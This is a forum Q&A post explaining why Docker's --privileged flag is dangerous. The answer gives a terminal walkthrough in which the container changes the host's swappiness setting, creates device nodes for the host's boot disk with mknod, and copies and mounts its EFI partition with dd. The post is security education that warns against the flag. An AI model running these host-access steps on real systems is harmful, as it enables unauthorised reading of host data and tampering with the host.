Privileged containers and capabilities

Question

If I am running a container in privileged mode, does it have all the Kernel capabilities or do I need to add them separately?

Answer 1

You never want to run a container using --privileged.

I am doing this on my laptop which has NVMe drives, but it will work for any host:

docker run --privileged -t -i --rm ubuntu:latest bash

First lets do something minor, to test the /proc file system

From the container:

root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness    
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60

OK, did it change it for the container or for the host?

$ cat /proc/sys/vm/swappiness
61

OOPS! We can arbitrarily change the hosts kernel parameters. But this is just a DOS situation, lets see if we can collect privileged information from the parent host.

Lets walk the /sys tree and find the major minor number for the boot disk.

Note: I have two NVMe drives and containers are running under LVM on another drive

root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2

OK, let's make a device file in a location where the dbus rules won't auto scan:

root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230

OK, we can read the bootdisk, lets make a device file for one of the partitions. While we can't mount it as it will be open we can still use dd to copy it.

root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s

OK, lets mount it and see if our efforts worked!!!

root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot  Microsoft  ubuntu

So basically any container host that you allow anyone to launch a --privileged container on is the same as giving them root access to every container on that host.

Unfortunately the Docker project has chosen the trusted computing model, and outside of auth plugins there is no way to protect against this, so always err on the side of adding needed features vs. using --privileged.